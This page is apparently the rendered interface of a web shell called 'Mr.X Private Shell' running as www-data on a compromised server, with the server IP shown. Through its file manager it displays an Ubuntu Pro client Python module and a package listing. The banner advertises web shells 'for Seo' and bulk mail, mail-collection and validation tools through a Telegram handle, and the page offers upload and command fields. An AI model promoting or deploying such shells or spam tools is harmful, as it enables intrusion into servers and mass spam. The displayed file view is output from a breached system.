__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

www-data@216.73.216.10: ~ $
import logging

from uaclient import exceptions, lock, messages, system, util
from uaclient.api.u.pro.detach.v1 import detach
from uaclient.api.u.pro.status.is_attached.v1 import _is_attached
from uaclient.config import UAConfig

LOG = logging.getLogger(util.replace_top_level_logger_name(__name__))


def validate_release_series(cfg: UAConfig, only_series, show_message=False):
    LOG.debug("Validating release series")
    if not _is_attached(cfg).is_attached:
        return

    current_series = system.get_release_info().series
    try:
        allowed_release = system.get_distro_info(only_series)
    except exceptions.MissingSeriesInDistroInfoFile:
        # If onlySeries is not present on the distro-info CSV
        # we consider that it is newer than the current release
        pass
    else:
        current_release = system.get_distro_info(current_series)
        # Only series is now meant to be allowed on the specified release
        # and all previous releases
        if current_release.eol > allowed_release.eol:
            LOG.debug(
                "Detaching due to current series %s being higher than only_series: %s",  # noqa
                current_series,
                only_series,
            )
            lock.clear_lock_file_if_present()
            detach()
            message = messages.PRO_ONLY_ALLOWED_FOR_RELEASE.format(
                release=allowed_release.release,
                series_codename=allowed_release.series_codename,
            )
            if show_message:
                print(message)
            LOG.warning(message)

Filemanager

Name Type Size Permission Actions
__pycache__ Folder 0755
api Folder 0755
cli Folder 0755
clouds Folder 0755
daemon Folder 0755
entitlements Folder 0755
files Folder 0755
http Folder 0755
messages Folder 0755
timer Folder 0755
__init__.py File 0 B 0644
actions.py File 14.63 KB 0644
apt.py File 35.77 KB 0644
apt_news.py File 8.39 KB 0644
config.py File 18.91 KB 0644
contract.py File 35.88 KB 0644
contract_data_types.py File 9.89 KB 0644
data_types.py File 13.21 KB 0644
defaults.py File 3.19 KB 0644
event_logger.py File 8.06 KB 0644
exceptions.py File 18.29 KB 0644
gpg.py File 836 B 0644
livepatch.py File 12.85 KB 0644
lock.py File 4.42 KB 0644
log.py File 4.9 KB 0644
secret_manager.py File 648 B 0644
security_status.py File 26.16 KB 0644
snap.py File 6.26 KB 0644
status.py File 28.53 KB 0644
system.py File 28.12 KB 0644
types.py File 308 B 0644
update_contract_info.py File 1.55 KB 0644
upgrade_lts_contract.py File 3.22 KB 0644
util.py File 15.45 KB 0644
version.py File 2.63 KB 0644
yaml.py File 840 B 0644
Filemanager